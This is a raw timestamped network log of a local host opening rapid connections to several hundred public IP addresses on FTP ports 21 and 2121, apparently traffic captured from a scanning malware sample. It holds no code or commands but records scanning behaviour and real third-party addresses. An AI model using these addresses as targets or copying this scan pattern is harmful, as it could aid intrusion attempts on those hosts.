Aug 23, 2023 09:15:35.954353094 CEST	50928	2121	192.168.2.3	73.110.229.159
Aug 23, 2023 09:15:35.969957113 CEST	50932	21	192.168.2.3	64.26.224.122
Aug 23, 2023 09:15:35.969980955 CEST	50931	21	192.168.2.3	189.191.209.95
Aug 23, 2023 09:15:35.969984055 CEST	50933	2121	192.168.2.3	88.5.3.118
Aug 23, 2023 09:15:35.969984055 CEST	50930	21	192.168.2.3	88.5.3.118
Aug 23, 2023 09:15:35.970015049 CEST	50929	2121	192.168.2.3	64.26.224.122
Aug 23, 2023 09:15:35.985588074 CEST	50939	2121	192.168.2.3	166.88.65.252
Aug 23, 2023 09:15:35.985629082 CEST	50942	21	192.168.2.3	23.97.239.1
Aug 23, 2023 09:15:35.985627890 CEST	50947	2121	192.168.2.3	91.152.126.176
Aug 23, 2023 09:15:35.985630035 CEST	50938	21	192.168.2.3	166.88.65.252
Aug 23, 2023 09:15:35.985629082 CEST	50935	21	192.168.2.3	84.126.122.11
Aug 23, 2023 09:15:35.985629082 CEST	50934	2121	192.168.2.3	189.191.209.95
Aug 23, 2023 09:15:35.985631943 CEST	50944	21	192.168.2.3	122.47.85.4
Aug 23, 2023 09:15:35.985630035 CEST	50945	2121	192.168.2.3	122.47.85.4
Aug 23, 2023 09:15:35.985646009 CEST	50936	2121	192.168.2.3	84.126.122.11
Aug 23, 2023 09:15:35.985788107 CEST	50943	2121	192.168.2.3	23.97.239.1
Aug 23, 2023 09:15:35.985796928 CEST	50946	21	192.168.2.3	91.152.126.176
Aug 23, 2023 09:15:36.048085928 CEST	50975	2121	192.168.2.3	177.152.18.44
Aug 23, 2023 09:15:36.087630033 CEST	2121	51006	210.103.85.2	192.168.2.3
Aug 23, 2023 09:15:36.087671041 CEST	21	51005	210.103.85.2	192.168.2.3
Aug 23, 2023 09:15:36.141855955 CEST	50948	2121	192.168.2.3	180.35.0.53
Aug 23, 2023 09:15:36.282550097 CEST	50985	21	192.168.2.3	45.118.114.46
Aug 23, 2023 09:15:36.289741039 CEST	2121	50975	177.152.18.44	192.168.2.3
Aug 23, 2023 09:15:36.290736914 CEST	51009	21	192.168.2.3	184.71.251.137
Aug 23, 2023 09:15:36.329394102 CEST	50987	2121	192.168.2.3	45.118.114.46
Aug 23, 2023 09:15:36.360632896 CEST	50955	21	192.168.2.3	2.220.79.116
Aug 23, 2023 09:15:36.390952110 CEST	21	50998	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:36.391069889 CEST	50998	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:36.391966105 CEST	50956	2121	192.168.2.3	2.220.79.116
Aug 23, 2023 09:15:36.459469080 CEST	51010	2121	192.168.2.3	184.71.251.137
Aug 23, 2023 09:15:36.459781885 CEST	51011	21	192.168.2.3	137.74.122.38
Aug 23, 2023 09:15:36.459844112 CEST	51012	2121	192.168.2.3	137.74.122.38
Aug 23, 2023 09:15:36.459863901 CEST	51013	21	192.168.2.3	151.225.52.177
Aug 23, 2023 09:15:36.459933996 CEST	51014	2121	192.168.2.3	151.225.52.177
Aug 23, 2023 09:15:36.459933996 CEST	51015	21	192.168.2.3	24.0.29.64
Aug 23, 2023 09:15:36.460017920 CEST	51016	21	192.168.2.3	125.188.55.13
Aug 23, 2023 09:15:36.460170984 CEST	51018	2121	192.168.2.3	125.188.55.13
Aug 23, 2023 09:15:36.460175037 CEST	51017	2121	192.168.2.3	24.0.29.64
Aug 23, 2023 09:15:36.460227013 CEST	51019	21	192.168.2.3	95.114.62.40
Aug 23, 2023 09:15:36.470499039 CEST	21	50985	45.118.114.46	192.168.2.3
Aug 23, 2023 09:15:36.471725941 CEST	51020	2121	192.168.2.3	95.114.62.40
Aug 23, 2023 09:15:36.486821890 CEST	51021	21	192.168.2.3	37.78.195.219
Aug 23, 2023 09:15:36.486915112 CEST	51023	21	192.168.2.3	69.135.7.194
Aug 23, 2023 09:15:36.486964941 CEST	51022	2121	192.168.2.3	37.78.195.219
Aug 23, 2023 09:15:36.531747103 CEST	2121	50987	45.118.114.46	192.168.2.3
Aug 23, 2023 09:15:36.533031940 CEST	51024	2121	192.168.2.3	69.135.7.194
Aug 23, 2023 09:15:36.595148087 CEST	51005	21	192.168.2.3	210.103.85.2
Aug 23, 2023 09:15:36.595150948 CEST	50958	21	192.168.2.3	93.104.13.6
Aug 23, 2023 09:15:36.595151901 CEST	51006	2121	192.168.2.3	210.103.85.2
Aug 23, 2023 09:15:36.704406023 CEST	50959	2121	192.168.2.3	93.104.13.6
Aug 23, 2023 09:15:36.733019114 CEST	2121	51018	125.188.55.13	192.168.2.3
Aug 23, 2023 09:15:36.852159977 CEST	2121	51006	210.103.85.2	192.168.2.3
Aug 23, 2023 09:15:36.852765083 CEST	21	51005	210.103.85.2	192.168.2.3
Aug 23, 2023 09:15:36.891926050 CEST	50961	21	192.168.2.3	174.61.43.218
Aug 23, 2023 09:15:36.970086098 CEST	50962	2121	192.168.2.3	174.61.43.218
Aug 23, 2023 09:15:36.970182896 CEST	50963	21	192.168.2.3	1.44.113.169
Aug 23, 2023 09:15:37.079477072 CEST	50964	2121	192.168.2.3	1.44.113.169
Aug 23, 2023 09:15:37.235677958 CEST	51018	2121	192.168.2.3	125.188.55.13
Aug 23, 2023 09:15:37.363672018 CEST	50968	21	192.168.2.3	68.147.134.92
Aug 23, 2023 09:15:37.363675117 CEST	51006	2121	192.168.2.3	210.103.85.2
Aug 23, 2023 09:15:37.363675117 CEST	50973	2121	192.168.2.3	83.37.241.43
Aug 23, 2023 09:15:37.363677979 CEST	50971	2121	192.168.2.3	136.243.203.238
Aug 23, 2023 09:15:37.363678932 CEST	51005	21	192.168.2.3	210.103.85.2
Aug 23, 2023 09:15:37.363678932 CEST	50970	21	192.168.2.3	136.243.203.238
Aug 23, 2023 09:15:37.363678932 CEST	50966	21	192.168.2.3	71.186.223.84
Aug 23, 2023 09:15:37.376394987 CEST	50967	2121	192.168.2.3	71.186.223.84
Aug 23, 2023 09:15:37.376405954 CEST	50972	21	192.168.2.3	83.37.241.43
Aug 23, 2023 09:15:37.376440048 CEST	50969	2121	192.168.2.3	68.147.134.92
Aug 23, 2023 09:15:37.485742092 CEST	50977	21	192.168.2.3	73.30.117.15
Aug 23, 2023 09:15:37.501339912 CEST	50978	2121	192.168.2.3	73.30.117.15
Aug 23, 2023 09:15:37.508799076 CEST	2121	51018	125.188.55.13	192.168.2.3
Aug 23, 2023 09:15:37.619585991 CEST	2121	51006	210.103.85.2	192.168.2.3
Aug 23, 2023 09:15:37.620619059 CEST	21	51005	210.103.85.2	192.168.2.3
Aug 23, 2023 09:15:37.621016979 CEST	51025	21	192.168.2.3	104.86.52.41
Aug 23, 2023 09:15:37.621835947 CEST	51026	2121	192.168.2.3	104.86.52.41
Aug 23, 2023 09:15:37.641966105 CEST	50979	21	192.168.2.3	187.145.155.249
Aug 23, 2023 09:15:37.657805920 CEST	50980	2121	192.168.2.3	187.145.155.249
Aug 23, 2023 09:15:37.704519987 CEST	50981	21	192.168.2.3	5.235.103.151
Aug 23, 2023 09:15:37.704624891 CEST	50982	2121	192.168.2.3	5.235.103.151
Aug 23, 2023 09:15:37.829545975 CEST	50983	21	192.168.2.3	62.11.176.58
Aug 23, 2023 09:15:37.845144033 CEST	50984	2121	192.168.2.3	62.11.176.58
Aug 23, 2023 09:15:37.938911915 CEST	50988	21	192.168.2.3	79.232.15.191
Aug 23, 2023 09:15:37.954524040 CEST	50989	21	192.168.2.3	171.49.195.165
Aug 23, 2023 09:15:37.970133066 CEST	50990	2121	192.168.2.3	79.232.15.191
Aug 23, 2023 09:15:37.971071959 CEST	51027	21	192.168.2.3	87.180.124.98
Aug 23, 2023 09:15:37.971848965 CEST	51028	2121	192.168.2.3	87.180.124.98
Aug 23, 2023 09:15:37.972398996 CEST	51029	21	192.168.2.3	73.189.254.212
Aug 23, 2023 09:15:37.973092079 CEST	51030	2121	192.168.2.3	73.189.254.212
Aug 23, 2023 09:15:37.973586082 CEST	51031	21	192.168.2.3	31.167.147.160
Aug 23, 2023 09:15:37.974327087 CEST	51032	2121	192.168.2.3	31.167.147.160
Aug 23, 2023 09:15:37.986848116 CEST	51033	21	192.168.2.3	14.92.173.189
Aug 23, 2023 09:15:37.987421036 CEST	51034	2121	192.168.2.3	14.92.173.189
Aug 23, 2023 09:15:37.988171101 CEST	51035	21	192.168.2.3	213.93.74.57
Aug 23, 2023 09:15:37.988850117 CEST	51036	2121	192.168.2.3	213.93.74.57
Aug 23, 2023 09:15:37.989420891 CEST	51037	21	192.168.2.3	81.247.225.93
Aug 23, 2023 09:15:37.989984035 CEST	51038	2121	192.168.2.3	81.247.225.93
Aug 23, 2023 09:15:37.992738008 CEST	51039	21	192.168.2.3	73.19.62.244
Aug 23, 2023 09:15:37.993463039 CEST	51040	2121	192.168.2.3	73.19.62.244
Aug 23, 2023 09:15:37.993552923 CEST	51041	21	192.168.2.3	147.75.228.1
Aug 23, 2023 09:15:37.993637085 CEST	51042	2121	192.168.2.3	147.75.228.1
Aug 23, 2023 09:15:37.993716955 CEST	51043	21	192.168.2.3	72.241.140.77
Aug 23, 2023 09:15:38.016995907 CEST	51018	2121	192.168.2.3	125.188.55.13
Aug 23, 2023 09:15:38.063889027 CEST	50991	2121	192.168.2.3	171.49.195.165
Aug 23, 2023 09:15:38.079765081 CEST	50992	21	192.168.2.3	217.236.71.13
Aug 23, 2023 09:15:38.081808090 CEST	50993	2121	192.168.2.3	217.236.71.13
Aug 23, 2023 09:15:38.084131956 CEST	2121	51032	31.167.147.160	192.168.2.3
Aug 23, 2023 09:15:38.126420975 CEST	50994	21	192.168.2.3	115.23.70.125
Aug 23, 2023 09:15:38.145083904 CEST	51044	2121	192.168.2.3	72.241.140.77
Aug 23, 2023 09:15:38.159116030 CEST	50995	2121	192.168.2.3	115.23.70.125
Aug 23, 2023 09:15:38.251508951 CEST	50996	21	192.168.2.3	98.185.225.87
Aug 23, 2023 09:15:38.251583099 CEST	50997	2121	192.168.2.3	98.185.225.87
Aug 23, 2023 09:15:38.275712967 CEST	21	51033	14.92.173.189	192.168.2.3
Aug 23, 2023 09:15:38.361449957 CEST	51045	21	192.168.2.3	98.243.150.128
Aug 23, 2023 09:15:38.392705917 CEST	51046	2121	192.168.2.3	98.243.150.128
Aug 23, 2023 09:15:38.410562038 CEST	21	50998	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:38.410650969 CEST	50998	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:38.485824108 CEST	50999	21	192.168.2.3	73.88.159.171
Aug 23, 2023 09:15:38.485852003 CEST	51000	2121	192.168.2.3	73.88.159.171
Aug 23, 2023 09:15:38.485866070 CEST	51003	21	192.168.2.3	62.178.254.170
Aug 23, 2023 09:15:38.485909939 CEST	51001	2121	192.168.2.3	62.178.254.170
Aug 23, 2023 09:15:38.485923052 CEST	51002	21	192.168.2.3	155.186.122.93
Aug 23, 2023 09:15:38.532679081 CEST	51004	2121	192.168.2.3	155.186.122.93
Aug 23, 2023 09:15:38.595361948 CEST	51032	2121	192.168.2.3	31.167.147.160
Aug 23, 2023 09:15:38.611150980 CEST	51047	21	192.168.2.3	35.198.140.42
Aug 23, 2023 09:15:38.678894043 CEST	2121	51032	31.167.147.160	192.168.2.3
Aug 23, 2023 09:15:38.690541029 CEST	51048	2121	192.168.2.3	35.198.140.42
Aug 23, 2023 09:15:38.783499002 CEST	51033	21	192.168.2.3	14.92.173.189
Aug 23, 2023 09:15:38.893326044 CEST	51049	21	192.168.2.3	162.84.132.131
Aug 23, 2023 09:15:38.938957930 CEST	51008	21	192.168.2.3	172.251.247.95
Aug 23, 2023 09:15:38.955575943 CEST	51007	2121	192.168.2.3	172.251.247.95
Aug 23, 2023 09:15:38.970813990 CEST	51050	2121	192.168.2.3	162.84.132.131
Aug 23, 2023 09:15:38.986521006 CEST	51051	21	192.168.2.3	116.73.165.140
Aug 23, 2023 09:15:39.043642998 CEST	21	51033	14.92.173.189	192.168.2.3
Aug 23, 2023 09:15:39.095794916 CEST	51052	2121	192.168.2.3	116.73.165.140
Aug 23, 2023 09:15:39.188996077 CEST	51032	2121	192.168.2.3	31.167.147.160
Aug 23, 2023 09:15:39.250633001 CEST	2121	51052	116.73.165.140	192.168.2.3
Aug 23, 2023 09:15:39.270643950 CEST	2121	51032	31.167.147.160	192.168.2.3
Aug 23, 2023 09:15:39.272252083 CEST	51053	21	192.168.2.3	96.109.40.92
Aug 23, 2023 09:15:39.298429012 CEST	51009	21	192.168.2.3	184.71.251.137
Aug 23, 2023 09:15:39.379308939 CEST	51054	2121	192.168.2.3	96.109.40.92
Aug 23, 2023 09:15:39.379371881 CEST	51055	21	192.168.2.3	41.83.113.140
Aug 23, 2023 09:15:39.379411936 CEST	51056	2121	192.168.2.3	41.83.113.140
Aug 23, 2023 09:15:39.379503012 CEST	51057	2121	192.168.2.3	24.160.155.215
Aug 23, 2023 09:15:39.379523993 CEST	51058	21	192.168.2.3	24.160.155.215
Aug 23, 2023 09:15:39.379523993 CEST	51059	21	192.168.2.3	24.19.64.79
Aug 23, 2023 09:15:39.379597902 CEST	51060	2121	192.168.2.3	24.19.64.79
Aug 23, 2023 09:15:39.379703045 CEST	51061	21	192.168.2.3	179.253.58.63
Aug 23, 2023 09:15:39.379724979 CEST	21	51053	96.109.40.92	192.168.2.3
Aug 23, 2023 09:15:39.454632044 CEST	51013	21	192.168.2.3	151.225.52.177
Aug 23, 2023 09:15:39.454634905 CEST	51019	21	192.168.2.3	95.114.62.40
Aug 23, 2023 09:15:39.454662085 CEST	51011	21	192.168.2.3	137.74.122.38
Aug 23, 2023 09:15:39.454668999 CEST	51016	21	192.168.2.3	125.188.55.13
Aug 23, 2023 09:15:39.454668999 CEST	51015	21	192.168.2.3	24.0.29.64
Aug 23, 2023 09:15:39.455503941 CEST	51062	2121	192.168.2.3	179.253.58.63
Aug 23, 2023 09:15:39.470294952 CEST	51017	2121	192.168.2.3	24.0.29.64
Aug 23, 2023 09:15:39.470307112 CEST	51010	2121	192.168.2.3	184.71.251.137
Aug 23, 2023 09:15:39.470324039 CEST	51014	2121	192.168.2.3	151.225.52.177
Aug 23, 2023 09:15:39.470379114 CEST	51012	2121	192.168.2.3	137.74.122.38
Aug 23, 2023 09:15:39.480459929 CEST	2121	51056	41.83.113.140	192.168.2.3
Aug 23, 2023 09:15:39.485891104 CEST	51020	2121	192.168.2.3	95.114.62.40
Aug 23, 2023 09:15:39.486042023 CEST	51021	21	192.168.2.3	37.78.195.219
Aug 23, 2023 09:15:39.486191988 CEST	2121	51054	96.109.40.92	192.168.2.3
Aug 23, 2023 09:15:39.490037918 CEST	51023	21	192.168.2.3	69.135.7.194
Aug 23, 2023 09:15:39.501638889 CEST	51022	2121	192.168.2.3	37.78.195.219
Aug 23, 2023 09:15:39.502254009 CEST	51063	21	192.168.2.3	82.131.234.54
Aug 23, 2023 09:15:39.503572941 CEST	51064	2121	192.168.2.3	82.131.234.54
Aug 23, 2023 09:15:39.532762051 CEST	51024	2121	192.168.2.3	69.135.7.194
Aug 23, 2023 09:15:39.548388004 CEST	51033	21	192.168.2.3	14.92.173.189
Aug 23, 2023 09:15:39.642956018 CEST	51065	21	192.168.2.3	94.226.216.220
Aug 23, 2023 09:15:39.673998117 CEST	51066	2121	192.168.2.3	94.226.216.220
Aug 23, 2023 09:15:39.705601931 CEST	51067	21	192.168.2.3	14.34.85.125
Aug 23, 2023 09:15:39.705626965 CEST	51068	2121	192.168.2.3	14.34.85.125
Aug 23, 2023 09:15:39.767163038 CEST	51052	2121	192.168.2.3	116.73.165.140
Aug 23, 2023 09:15:39.807224035 CEST	21	51033	14.92.173.189	192.168.2.3
Aug 23, 2023 09:15:39.807967901 CEST	51069	21	192.168.2.3	82.10.86.38
Aug 23, 2023 09:15:39.830982924 CEST	51070	2121	192.168.2.3	82.10.86.38
Aug 23, 2023 09:15:39.846640110 CEST	51071	21	192.168.2.3	102.29.245.70
Aug 23, 2023 09:15:39.892205954 CEST	51053	21	192.168.2.3	96.109.40.92
Aug 23, 2023 09:15:39.921542883 CEST	2121	51052	116.73.165.140	192.168.2.3
Aug 23, 2023 09:15:39.955305099 CEST	51072	2121	192.168.2.3	102.29.245.70
Aug 23, 2023 09:15:39.971730947 CEST	51073	21	192.168.2.3	106.105.156.208
Aug 23, 2023 09:15:39.971733093 CEST	51074	2121	192.168.2.3	106.105.156.208
Aug 23, 2023 09:15:39.986562014 CEST	51056	2121	192.168.2.3	41.83.113.140
Aug 23, 2023 09:15:39.999789953 CEST	21	51053	96.109.40.92	192.168.2.3
Aug 23, 2023 09:15:40.001570940 CEST	51054	2121	192.168.2.3	96.109.40.92
Aug 23, 2023 09:15:40.064843893 CEST	51075	21	192.168.2.3	147.158.196.49
Aug 23, 2023 09:15:40.080807924 CEST	51077	21	192.168.2.3	79.50.24.246
Aug 23, 2023 09:15:40.080817938 CEST	51076	2121	192.168.2.3	147.158.196.49
Aug 23, 2023 09:15:40.080991030 CEST	2121	51056	41.83.113.140	192.168.2.3
Aug 23, 2023 09:15:40.107449055 CEST	2121	51054	96.109.40.92	192.168.2.3
Aug 23, 2023 09:15:40.118572950 CEST	21	51071	102.29.245.70	192.168.2.3
Aug 23, 2023 09:15:40.118597031 CEST	2121	51072	102.29.245.70	192.168.2.3
Aug 23, 2023 09:15:40.149800062 CEST	51078	2121	192.168.2.3	79.50.24.246
Aug 23, 2023 09:15:40.166327000 CEST	51079	21	192.168.2.3	70.176.102.118
Aug 23, 2023 09:15:40.252335072 CEST	51080	2121	192.168.2.3	70.176.102.118
Aug 23, 2023 09:15:40.252485037 CEST	2121	51076	147.158.196.49	192.168.2.3
Aug 23, 2023 09:15:40.268054008 CEST	51081	21	192.168.2.3	175.136.29.219
Aug 23, 2023 09:15:40.409918070 CEST	50998	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:40.426249981 CEST	51052	2121	192.168.2.3	116.73.165.140
Aug 23, 2023 09:15:40.487504959 CEST	51082	2121	192.168.2.3	175.136.29.219
Aug 23, 2023 09:15:40.487507105 CEST	51083	21	192.168.2.3	39.122.35.129
Aug 23, 2023 09:15:40.488187075 CEST	51084	2121	192.168.2.3	39.122.35.129
Aug 23, 2023 09:15:40.489486933 CEST	51085	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:40.489490032 CEST	51086	2121	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:40.503772020 CEST	51053	21	192.168.2.3	96.109.40.92
Aug 23, 2023 09:15:40.549565077 CEST	51087	21	192.168.2.3	76.143.189.41
Aug 23, 2023 09:15:40.580440044 CEST	2121	51052	116.73.165.140	192.168.2.3
Aug 23, 2023 09:15:40.581948996 CEST	51088	2121	192.168.2.3	76.143.189.41
Aug 23, 2023 09:15:40.595428944 CEST	51056	2121	192.168.2.3	41.83.113.140
Aug 23, 2023 09:15:40.610984087 CEST	51054	2121	192.168.2.3	96.109.40.92
Aug 23, 2023 09:15:40.611120939 CEST	21	51053	96.109.40.92	192.168.2.3
Aug 23, 2023 09:15:40.612097025 CEST	51089	21	192.168.2.3	181.19.123.115
Aug 23, 2023 09:15:40.626620054 CEST	51026	2121	192.168.2.3	104.86.52.41
Aug 23, 2023 09:15:40.626622915 CEST	51025	21	192.168.2.3	104.86.52.41
Aug 23, 2023 09:15:40.626637936 CEST	51072	2121	192.168.2.3	102.29.245.70
Aug 23, 2023 09:15:40.626637936 CEST	51071	21	192.168.2.3	102.29.245.70
Aug 23, 2023 09:15:40.660844088 CEST	2121	51086	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:40.660867929 CEST	21	51085	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:40.661108971 CEST	51085	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:40.691229105 CEST	2121	51056	41.83.113.140	192.168.2.3
Aug 23, 2023 09:15:40.691881895 CEST	51090	2121	192.168.2.3	181.19.123.115
Aug 23, 2023 09:15:40.716824055 CEST	2121	51054	96.109.40.92	192.168.2.3
Aug 23, 2023 09:15:40.717767954 CEST	51091	21	192.168.2.3	99.236.103.246
Aug 23, 2023 09:15:40.720354080 CEST	50998	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:40.758464098 CEST	2121	51072	102.29.245.70	192.168.2.3
Aug 23, 2023 09:15:40.758488894 CEST	21	51071	102.29.245.70	192.168.2.3
Aug 23, 2023 09:15:40.767241955 CEST	51076	2121	192.168.2.3	147.158.196.49
Aug 23, 2023 09:15:40.811661005 CEST	21	51089	181.19.123.115	192.168.2.3
Aug 23, 2023 09:15:40.857897043 CEST	21	51085	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:40.859575033 CEST	51085	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:40.859580994 CEST	51092	2121	192.168.2.3	99.236.103.246
Aug 23, 2023 09:15:40.893615007 CEST	2121	51090	181.19.123.115	192.168.2.3
Aug 23, 2023 09:15:40.938473940 CEST	2121	51076	147.158.196.49	192.168.2.3
Aug 23, 2023 09:15:40.957237959 CEST	51094	21	192.168.2.3	76.106.177.89
Aug 23, 2023 09:15:40.957263947 CEST	51093	2121	192.168.2.3	76.106.177.89
Aug 23, 2023 09:15:40.986095905 CEST	51028	2121	192.168.2.3	87.180.124.98
Aug 23, 2023 09:15:40.986133099 CEST	51031	21	192.168.2.3	31.167.147.160
Aug 23, 2023 09:15:40.986135960 CEST	51027	21	192.168.2.3	87.180.124.98
Aug 23, 2023 09:15:40.986205101 CEST	51029	21	192.168.2.3	73.189.254.212
Aug 23, 2023 09:15:40.986206055 CEST	51030	2121	192.168.2.3	73.189.254.212
Aug 23, 2023 09:15:41.001682997 CEST	51035	21	192.168.2.3	213.93.74.57
Aug 23, 2023 09:15:41.001702070 CEST	51041	21	192.168.2.3	147.75.228.1
Aug 23, 2023 09:15:41.001708031 CEST	51042	2121	192.168.2.3	147.75.228.1
Aug 23, 2023 09:15:41.001719952 CEST	51034	2121	192.168.2.3	14.92.173.189
Aug 23, 2023 09:15:41.001719952 CEST	51037	21	192.168.2.3	81.247.225.93
Aug 23, 2023 09:15:41.001729012 CEST	51038	2121	192.168.2.3	81.247.225.93
Aug 23, 2023 09:15:41.001791000 CEST	51039	21	192.168.2.3	73.19.62.244
Aug 23, 2023 09:15:41.001792908 CEST	51043	21	192.168.2.3	72.241.140.77
Aug 23, 2023 09:15:41.001812935 CEST	51036	2121	192.168.2.3	213.93.74.57
Aug 23, 2023 09:15:41.001818895 CEST	51040	2121	192.168.2.3	73.19.62.244
Aug 23, 2023 09:15:41.030994892 CEST	21	51085	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:41.031071901 CEST	51085	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:41.032888889 CEST	50998	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:41.068496943 CEST	21	51031	31.167.147.160	192.168.2.3
Aug 23, 2023 09:15:41.157985926 CEST	51044	2121	192.168.2.3	72.241.140.77
Aug 23, 2023 09:15:41.173710108 CEST	51086	2121	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:41.265628099 CEST	2121	51034	14.92.173.189	192.168.2.3
Aug 23, 2023 09:15:41.267440081 CEST	51071	21	192.168.2.3	102.29.245.70
Aug 23, 2023 09:15:41.267441988 CEST	51072	2121	192.168.2.3	102.29.245.70
Aug 23, 2023 09:15:41.299879074 CEST	51095	21	192.168.2.3	79.56.69.141
Aug 23, 2023 09:15:41.313302040 CEST	51089	21	192.168.2.3	181.19.123.115
Aug 23, 2023 09:15:41.346117020 CEST	2121	51086	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:41.361054897 CEST	51045	21	192.168.2.3	98.243.150.128
Aug 23, 2023 09:15:41.392292976 CEST	51046	2121	192.168.2.3	98.243.150.128
Aug 23, 2023 09:15:41.398567915 CEST	2121	51072	102.29.245.70	192.168.2.3
Aug 23, 2023 09:15:41.398601055 CEST	21	51071	102.29.245.70	192.168.2.3
Aug 23, 2023 09:15:41.399517059 CEST	51096	2121	192.168.2.3	79.56.69.141
Aug 23, 2023 09:15:41.407942057 CEST	51090	2121	192.168.2.3	181.19.123.115
Aug 23, 2023 09:15:41.408788919 CEST	51097	21	192.168.2.3	99.248.204.222
Aug 23, 2023 09:15:41.439173937 CEST	51076	2121	192.168.2.3	147.158.196.49
Aug 23, 2023 09:15:41.476459980 CEST	51098	2121	192.168.2.3	99.248.204.222
Aug 23, 2023 09:15:41.476687908 CEST	51099	21	192.168.2.3	175.247.243.139
Aug 23, 2023 09:15:41.476830006 CEST	51100	2121	192.168.2.3	175.247.243.139
Aug 23, 2023 09:15:41.477341890 CEST	51101	2121	192.168.2.3	115.13.82.26
Aug 23, 2023 09:15:41.477415085 CEST	51103	21	192.168.2.3	115.13.82.26
Aug 23, 2023 09:15:41.477421045 CEST	51102	2121	192.168.2.3	87.191.223.126
Aug 23, 2023 09:15:41.477449894 CEST	51104	2121	192.168.2.3	80.212.41.84
Aug 23, 2023 09:15:41.477523088 CEST	51105	21	192.168.2.3	87.191.223.126
Aug 23, 2023 09:15:41.477595091 CEST	51106	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:41.477647066 CEST	51107	21	192.168.2.3	80.212.41.84
Aug 23, 2023 09:15:41.487477064 CEST	51108	2121	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:41.505001068 CEST	51110	21	192.168.2.3	43.153.118.217
Aug 23, 2023 09:15:41.505068064 CEST	51109	2121	192.168.2.3	43.153.118.217
Aug 23, 2023 09:15:41.505152941 CEST	51111	21	192.168.2.3	2.111.153.8
Aug 23, 2023 09:15:41.531735897 CEST	21	51089	181.19.123.115	192.168.2.3
Aug 23, 2023 09:15:41.549818039 CEST	51112	2121	192.168.2.3	2.111.153.8
Aug 23, 2023 09:15:41.582510948 CEST	51031	21	192.168.2.3	31.167.147.160
Aug 23, 2023 09:15:41.610543013 CEST	2121	51076	147.158.196.49	192.168.2.3
Aug 23, 2023 09:15:41.611051083 CEST	51047	21	192.168.2.3	35.198.140.42
Aug 23, 2023 09:15:41.611427069 CEST	51113	21	192.168.2.3	31.181.80.193
Aug 23, 2023 09:15:41.612643003 CEST	2121	51090	181.19.123.115	192.168.2.3
Aug 23, 2023 09:15:41.642302990 CEST	50998	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:41.663996935 CEST	21	51031	31.167.147.160	192.168.2.3
Aug 23, 2023 09:15:41.664833069 CEST	51114	2121	192.168.2.3	31.181.80.193
Aug 23, 2023 09:15:41.677774906 CEST	2121	51109	43.153.118.217	192.168.2.3
Aug 23, 2023 09:15:41.680915117 CEST	21	51110	43.153.118.217	192.168.2.3
Aug 23, 2023 09:15:41.689198017 CEST	51048	2121	192.168.2.3	35.198.140.42
Aug 23, 2023 09:15:41.691212893 CEST	21	51106	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:41.691289902 CEST	51106	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:41.739212036 CEST	21	51103	115.13.82.26	192.168.2.3
Aug 23, 2023 09:15:41.739255905 CEST	21	51099	175.247.243.139	192.168.2.3
Aug 23, 2023 09:15:41.741277933 CEST	2121	51101	115.13.82.26	192.168.2.3
Aug 23, 2023 09:15:41.743273020 CEST	2121	51100	175.247.243.139	192.168.2.3
Aug 23, 2023 09:15:41.767303944 CEST	51034	2121	192.168.2.3	14.92.173.189
Aug 23, 2023 09:15:41.861074924 CEST	51086	2121	192.168.2.3	45.136.233.16
Aug 23, 2023 09:15:41.892333031 CEST	51049	21	192.168.2.3	162.84.132.131
Aug 23, 2023 09:15:41.911974907 CEST	21	51106	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:41.912210941 CEST	51106	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:41.913223028 CEST	51115	21	192.168.2.3	69.164.218.40
Aug 23, 2023 09:15:41.971594095 CEST	51050	2121	192.168.2.3	162.84.132.131
Aug 23, 2023 09:15:41.986218929 CEST	51051	21	192.168.2.3	116.73.165.140
Aug 23, 2023 09:15:42.017112017 CEST	21	51115	69.164.218.40	192.168.2.3
Aug 23, 2023 09:15:42.031212091 CEST	2121	51034	14.92.173.189	192.168.2.3
Aug 23, 2023 09:15:42.032140017 CEST	51116	2121	192.168.2.3	69.164.218.40
Aug 23, 2023 09:15:42.032983065 CEST	51089	21	192.168.2.3	181.19.123.115
Aug 23, 2023 09:15:42.035562038 CEST	2121	51086	45.136.233.16	192.168.2.3
Aug 23, 2023 09:15:42.036295891 CEST	51117	21	192.168.2.3	58.115.107.34
Aug 23, 2023 09:15:42.125514030 CEST	21	51106	41.85.20.17	192.168.2.3
Aug 23, 2023 09:15:42.126490116 CEST	51106	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:15:42.126727104 CEST	51090	2121	192.168.2.3	181.19.123.115
Aug 23, 2023 09:15:42.134051085 CEST	2121	51116	69.164.218.40	192.168.2.3
Aug 23, 2023 09:15:42.189238071 CEST	51110	21	192.168.2.3	43.153.118.217
Aug 23, 2023 09:15:42.189239025 CEST	51109	2121	192.168.2.3	43.153.118.217
Aug 23, 2023 09:15:42.251754045 CEST	51101	2121	192.168.2.3	115.13.82.26
Aug 23, 2023 09:15:42.251756907 CEST	51103	21	192.168.2.3	115.13.82.26
Aug 23, 2023 09:15:42.251756907 CEST	51099	21	192.168.2.3	175.247.243.139
Aug 23, 2023 09:15:42.251919985 CEST	21	51089	181.19.123.115	192.168.2.3
Aug 23, 2023 09:15:42.251962900 CEST	51100	2121	192.168.2.3	175.247.243.139
Aug 23, 2023 09:15:42.252727032 CEST	51118	2121	192.168.2.3	58.115.107.34
